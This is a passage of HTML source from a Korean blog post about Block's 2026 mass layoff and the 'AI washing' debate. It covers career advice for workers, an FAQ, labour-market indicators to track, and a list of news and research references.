&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ============================================================ --&gt; &lt;!-- 섹션 9: 마치며 --&gt; &lt;!-- ============================================================ --&gt;
&lt;h2 id=&quot;section9&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;9. 마치며 -- 어떻게 준비해야 하나&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Block 사태와 AI 워싱 논쟁을 정리하면 결론은 이렇다:&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 5px solid #0066cc; padding: 15px 20px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;세 줄 정리&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;1.&lt;/b&gt; AI가 일자리를 빼앗고 있다는 주장은 &lt;b&gt;과장&lt;/b&gt;이지만, AI가 노동 시장에 영향을 미치고 있다는 것은 &lt;b&gt;사실&lt;/b&gt;이다.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2.&lt;/b&gt; 현재 수준에서 더 큰 위협은 대량 해고가 아니라 &lt;b&gt;신규 채용 감소&lt;/b&gt;이다. 특히 사회 초년생에게 기회의 문이 좁아지고 있다.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;3.&lt;/b&gt; &quot;AI 워싱&quot;은 분명히 존재하지만, 그렇다고 AI의 영향 자체를 부정하는 것은 위험하다. &lt;b&gt;방향은 분명하되, 속도는 과장되고 있다.&lt;/b&gt;&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;직장인을 위한 현실적 준비 방법&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그렇다면 개인 차원에서 어떻게 대비해야 할까? 다음 다섯 가지를 제안한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1. AI 도구를 업무에 실제로 쓰기 시작하라&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AI에 대체당하지 않으려면, AI를 도구로 쓸 줄 아는 사람이 되어야 한다. ChatGPT, Claude, Copilot 등을 실무에 직접 활용해 보라. &quot;AI를 쓸 줄 아는 사람&quot;과 &quot;쓸 줄 모르는 사람&quot; 사이의 격차가 점점 벌어지고 있다. 중요한 것은 &quot;AI를 아는 것&quot;이 아니라 &quot;AI로 무언가를 만들어 본 경험&quot;이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2. &quot;AI가 못 하는 일&quot;에 집중하라&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Anthropic 보고서가 보여주듯, AI의 업무 커버리지가 높은 영역은 반복적이고 패턴화된 업무이다. 반면 다음 역량은 AI가 대체하기 어렵다:&lt;/p&gt;
&lt;ul style=&quot;margin: 10px 0 10px 20px; padding: 0; line-height: 2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;b&gt;복잡한 이해관계자 조율&lt;/b&gt; -- 부서 간 갈등 해결, 고객과의 미묘한 협상&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;b&gt;모호한 문제 정의&lt;/b&gt; -- &quot;무엇이 문제인지&quot;를 파악하는 능력&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;b&gt;도메인 전문성 + 판단력&lt;/b&gt; -- 10년 경험에서 나오는 직관적 의사결정&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;b&gt;책임감 있는 의사결정&lt;/b&gt; -- AI는 조언할 수 있지만, 결과에 대한 책임은 사람의 몫이다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;b&gt;대면 관계 구축&lt;/b&gt; -- 팀 리더십, 멘토링, 문화 형성&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;3. &quot;대체 불가능한 T자형 인재&quot;를 목표로 삼아라&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;T자형 인재란, 하나의 깊은 전문성(I)과 여러 분야에 대한 넓은 이해(一)를 겸비한 사람이다. AI 시대에는 이것이 더 중요해진다. 단순히 &quot;코드를 잘 짜는 사람&quot;보다는 &quot;코드도 잘 짜면서, 비즈니스를 이해하고, 팀을 이끌 수 있는 사람&quot;이 훨씬 안전하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;구체적으로 어떤 T자형 조합이 유리한지 예시를 들면:&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 20px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;깊은 전문성 (I)&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;+&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;넓은 이해 (一)&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;= AI 시대 경쟁력&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;백엔드 개발&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd; text-align: center;&quot;&gt;+&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;비즈니스 도메인 이해, 팀 리더십&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;AI 도구를 활용한 테크리드&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;데이터 분석&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd; text-align: center;&quot;&gt;+&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;스토리텔링, 경영 의사결정&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;데이터 기반 전략가&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;UX 디자인&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd; text-align: center;&quot;&gt;+&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;AI/ML 기초, 사용자 심리학&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;AI 시대 경험 설계자&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;마케팅&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd; text-align: center;&quot;&gt;+&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;AI 도구 활용, 데이터 리터러시&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;AI 네이티브 마케터&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;회계/재무&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd; text-align: center;&quot;&gt;+&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;AI 자동화 설계, 프로세스 혁신&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;재무 프로세스 혁신가&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;핵심은 &lt;b&gt;&quot;AI가 할 수 없는 것&quot;과 &quot;AI를 잘 쓸 수 있는 것&quot;의 교차점&lt;/b&gt;에 자신을 위치시키는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;4. 회사에 대한 의존도를 낮춰라&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Block 사태가 보여주는 것은, 어떤 회사든 하루아침에 직원의 절반을 내보낼 수 있다는 사실이다. 그리고 시장은 그것을 &quot;좋은 결정&quot;이라고 환호할 수 있다. 이런 환경에서 자기 자신의 시장 가치를 높이는 것이 최선의 보험이다. 사이드 프로젝트, 기술 블로그, 오픈소스 기여, 네트워킹 -- 회사 밖에서도 인정받을 수 있는 자산을 쌓아야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;5. 뉴스에 휘둘리지 말고, 데이터를 봐라&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;AI가 당신의 일자리를 빼앗는다&quot;는 헤드라인은 클릭을 유도하기 위한 것이다. 실제 데이터를 보면, AI의 영향은 헤드라인만큼 극적이지 않다 -- 적어도 아직은. MIT의 95% ROI 실패, Anthropic의 &quot;이론 vs 현실 격차&quot;, CNN의 &quot;아직 종말은 아니다&quot; -- 이 모든 데이터는 과도한 공포도, 과도한 안심도 적절하지 않다고 말하고 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Block 사태가 남긴 교훈 3가지&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 글에서 다룬 모든 내용을 세 가지 교훈으로 압축하면:&lt;/p&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;교훈 1: 헤드라인을 의심하라.&lt;/b&gt;&lt;br /&gt;&quot;4,000명 AI 해고&quot;도, &quot;대공황이 온다&quot;도, &quot;AI는 괜찮다&quot;도 모두 부분적 진실이다. 전체 그림을 보려면 원본 보고서와 데이터를 직접 확인해야 한다. 이 글도 예외가 아니다 -- 이 글에 인용된 출처를 직접 읽어보는 것을 권한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;교훈 2: &quot;AI 대체&quot;와 &quot;AI 보조&quot;를 구분하라.&lt;/b&gt;&lt;br /&gt;AI가 업무의 75%를 &quot;커버&quot;하는 것과 직원의 75%를 &quot;대체&quot;하는 것은 완전히 다르다. 현재 AI는 대부분의 영역에서 &quot;대체&quot;가 아닌 &quot;보조&quot; 단계에 있다. 하지만 이 경계는 빠르게 움직이고 있으므로, 지속적인 관찰이 필요하다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;교훈 3: 준비의 방향은 &quot;AI와의 공존&quot;이다.&lt;/b&gt;&lt;br /&gt;AI를 적으로 볼 것이 아니라, 도구로 활용하는 방법을 배워야 한다. AI가 당신의 일자리를 빼앗는 것이 아니라, &lt;b&gt;AI를 쓸 줄 아는 사람이 AI를 쓸 줄 모르는 사람의 일자리를 가져갈 가능성&lt;/b&gt;이 더 높다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;결론&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Jack Dorsey는 &quot;intelligence tools have changed what it means to build a company&quot;라고 말했다. 이 말이 100% 맞는지, 아니면 투자자를 위한 레토릭인지는 시간이 말해줄 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;분명한 것은, &lt;b&gt;AI가 노동 시장을 변화시키고 있다&lt;/b&gt;는 사실 자체는 부정할 수 없다는 것이다. 문제는 그 속도와 규모에 대한 해석이 기업의 이해관계에 의해 왜곡될 수 있다는 점이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1년 뒤, 5년 뒤 이 글을 다시 읽었을 때 어떤 부분이 맞았고 어떤 부분이 틀렸을지 흥미로울 것이다. 기술 예측의 역사를 보면, &quot;변화의 방향&quot;은 대체로 맞지만 &quot;변화의 속도&quot;는 거의 항상 틀린다. 1990년대에 &quot;인터넷이 모든 것을 바꿀 것이다&quot;는 방향은 맞았지만, &quot;5년 안에 신문이 사라질 것이다&quot;는 속도 예측은 틀렸다. AI와 일자리도 마찬가지일 가능성이 높다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Block에서 해고된 4,000명의 직원들에게는 AI 워싱이든 진짜 AI 대체이든, 일자리를 잃었다는 현실은 동일하다. 그들의 재취업과 안정적인 전환을 응원한다. 그리고 아직 일자리를 가지고 있는 우리 모두에게는, 오늘이 준비를 시작하기에 가장 좋은 날이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AI 워싱에 속아서 불필요한 공포에 빠지지도, AI의 영향을 과소평가하여 준비를 게을리하지도 말라. &lt;b&gt;냉정하게 데이터를 보고, 꾸준히 준비하는 것&lt;/b&gt;. 이것이 2026년 직장인이 할 수 있는 최선이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;자주 묻는 질문 (FAQ)&lt;/h3&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q1. Block 해고 후 해고된 직원들은 재취업이 가능한가?&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;A. 현재 시점에서 Block 해고 직원들의 재취업률에 대한 공식 데이터는 아직 없다. 다만, 핀테크와 소프트웨어 엔지니어링 분야의 인력 수요는 여전히 존재한다. 특히 AI 도구를 활용한 경험이 있는 엔지니어는 채용 시장에서 여전히 유리한 위치에 있을 것으로 추정된다. 하지만 이는 추정이며, 실제 재취업 현황은 수개월 후에야 파악 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q2. &quot;AI 워싱&quot;이면 결국 AI는 일자리에 영향이 없는 건가?&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;A. 아니다. &quot;AI 워싱&quot;이 존재한다는 것과 &quot;AI가 일자리에 영향을 미치지 않는다&quot;는 것은 전혀 다른 이야기이다. AI 워싱은 &quot;현재 시점에서 AI가 해당 직무를 대체할 준비가 되어 있지 않은데도, 마치 대체한 것처럼 포장하는 것&quot;을 비판하는 것이다. AI가 장기적으로 노동 시장을 변화시키는 것은 거의 확실하다. 문제는 그 시기와 범위에 대한 과장이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q3. 개발자가 AI 때문에 가장 위험하다는 건데, 아이러니하지 않은가?&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;A. 맞다. 아이러니이다. AI를 만드는 사람들이 AI에 가장 &quot;노출&quot;되어 있다. 하지만 &quot;노출&quot;과 &quot;대체&quot;는 다르다. Anthropic 보고서가 말하는 75% 커버리지는 &quot;프로그래머 업무의 75%에서 AI가 도움을 줄 수 있다&quot;는 의미이지, &quot;프로그래머의 75%가 필요 없다&quot;는 의미가 아니다. 오히려 AI를 가장 잘 활용할 수 있는 직종이 개발자이기도 하다. &quot;AI에 노출된 직종&quot;이 곧 &quot;AI로 가장 큰 생산성 향상을 경험할 직종&quot;이기도 한 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q4. 한국에서도 Block 같은 대규모 AI 해고가 일어날 수 있는가?&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;A. 한국의 노동법(근로기준법상 해고 요건, 정리해고 절차 등)은 미국보다 훨씬 엄격하다. 미국처럼 하루아침에 직원 절반을 해고하는 것은 법적으로 어렵다. 하지만 신규 채용 축소, 계약직 비정규화, 희망퇴직 등 간접적 방식은 이미 활용되고 있다. &quot;미국식 AI 해고&quot;보다는 &quot;한국식 조용한 인력 축소&quot;가 더 현실적인 시나리오이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q5. AI 시대에 &quot;안전한&quot; 직업이 있는가?&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;A. &quot;완전히 안전한&quot; 직업은 없다고 보는 것이 현실적이다. 하지만 상대적으로 안전한 직업의 특징은 있다: (1) 물리적 현장 작업이 핵심인 직업 (의료, 건설, 요리 등), (2) 복잡한 인간관계와 감성적 판단이 핵심인 직업 (상담, 교육, 리더십), (3) AI를 도구로 활용하여 생산성을 높일 수 있는 전문직 (AI를 쓸 줄 아는 의사, 변호사, 엔지니어). 결국 &quot;AI와 협업할 수 있는 능력&quot;이 직업 안전성의 핵심 변수가 되고 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q6. jobgonetoai.com의 156,499명이라는 숫자는 정확한가?&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;A. 이 수치는 2026년 3월 7일 기준으로 해당 사이트에 기록된 숫자이다. 다만, 앞서 설명했듯이 &quot;AI 관련&quot;의 범위가 넓고 이중 계산 가능성이 있어 정밀한 통계라기보다는 추세를 파악하기 위한 참고 자료로 보는 것이 적절하다. 공식 노동 통계 기관(미국 BLS 등)의 데이터와는 집계 기준이 다를 수 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;앞으로 주목해야 할 지표들&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AI와 일자리 논쟁은 앞으로도 계속될 것이다. 뉴스 헤드라인에 휘둘리지 않으려면, 다음 지표들을 정기적으로 확인하는 것을 추천한다:&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 20px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;지표&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;확인 방법&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;의미&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;미국 실업률 (BLS)&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;bls.gov 월별 고용 보고서&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;전체 노동 시장의 건강 상태&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;직종별 채용 공고 추이&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;LinkedIn, Indeed 등의 트렌드 데이터&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;특정 직종의 수요 변화&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;기업 AI 도입률/ROI&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;MIT, McKinsey 등의 연간 보고서&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;AI가 실제로 비즈니스에 기여하고 있는지&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;AI 해고 트래커&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;jobgonetoai.com, layoffstats.com&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;AI 명분 해고의 추세와 규모&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;한국 고용동향&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;통계청 월별 고용동향&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;한국 노동 시장의 실제 변화&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;마지막으로, Block 사태 이후 Inc. 매체에서 보도한 &lt;b&gt;직원 반발(employee backlash)&lt;/b&gt;도 언급할 가치가 있다. Dorsey의 해고 후 남은 직원들에 대한 AI 사용 의무화(AI mandates)에 대해 상당한 내부 반발이 있었다는 보도가 나왔다. 이것은 중요한 교훈을 준다 -- &lt;b&gt;AI 전환은 기술의 문제만이 아니라, 사람과 조직 문화의 문제&lt;/b&gt;이기도 하다는 것을.&lt;/p&gt;
&lt;p style=&quot;font-size: 13px; color: #888;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a href=&quot;https://www.inc.com/kevin-haynes/jack-dorsey-faces-employee-backlash-after-mass-layoffs-and-ai-mandates-at-block-inc/91306381&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Inc., 2026&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 참고 자료 --&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 30px 0;&quot;&gt;
&lt;h3 style=&quot;color: #0066cc; margin: 0 0 15px 0; font-size: 18px; border-bottom: 2px solid #cce5ff; padding-bottom: 10px;&quot; data-ke-size=&quot;size23&quot;&gt;참고 자료&lt;/h3&gt;
&lt;ul style=&quot;margin: 0; padding-left: 20px; line-height: 2.2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://fortune.com/2026/02/27/block-jack-dorsey-ceo-xyz-stock-square-4000-ai-layoffs/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Fortune - Block CEO Jack Dorsey lays off nearly half of his staff because of AI (2026.02.27)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cnbc.com/2026/02/26/block-laying-off-about-4000-employees-nearly-half-of-its-workforce.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;CNBC - Block shares soar as much as 24% as company slashes workforce by nearly half (2026.02.26)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cnn.com/2026/02/26/business/block-layoffs-ai-jack-dorsey&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;CNN Business - Block lays off nearly half its staff because of AI (2026.02.26)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://techcrunch.com/2026/02/26/jack-dorsey-block-layoffs-4000-halved-employees-your-company-is-next/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;TechCrunch - Jack Dorsey just halved the size of Block's employee base (2026.02.26)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.bloomberg.com/news/articles/2026-03-01/jack-dorsey-s-4-000-job-cuts-at-block-arouse-suspicions-of-ai-washing&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Bloomberg - Jack Dorsey's 4,000 Job Cuts at Block Arouse Suspicions of AI-Washing (2026.03.01)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.jobgonetoai.com/tracker&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JobGoneToAI.com - AI Layoff Tracker (2026.03.07 기준)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://hbr.org/2026/01/companies-are-laying-off-workers-because-of-ais-potential-not-its-performance&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;HBR - Companies Are Laying Off Workers Because of AI's Potential--Not Its Performance (2026.01)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://fortune.com/2026/02/10/ai-washing-and-forever-layoffs-why-companies-keep-cutting-jobs-even-amid-rising-profits/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Fortune - 'AI-washing' and 'forever layoffs' (2026.02.10)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://fortune.com/2025/08/18/mit-report-95-percent-generative-ai-pilots-at-companies-failing-cfo/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Fortune - MIT report: 95% of generative AI pilots at companies are failing (2025.08)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.anthropic.com/research/labor-market-impacts&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Anthropic Research - Labor market impacts of AI: A new measure and early evidence (2026.03)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://fortune.com/2026/03/06/ai-job-losses-report-anthropic-research-great-recession-for-white-collar-workers/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Fortune - A 'Great Recession for white-collar workers' is absolutely possible (2026.03.06)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cbsnews.com/news/anthropic-ai-jobs-most-exposed-risk/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;CBS News - Anthropic is tracking which jobs are most exposed to AI (2026.03)&lt;/a&gt;&lt;/li&gt;
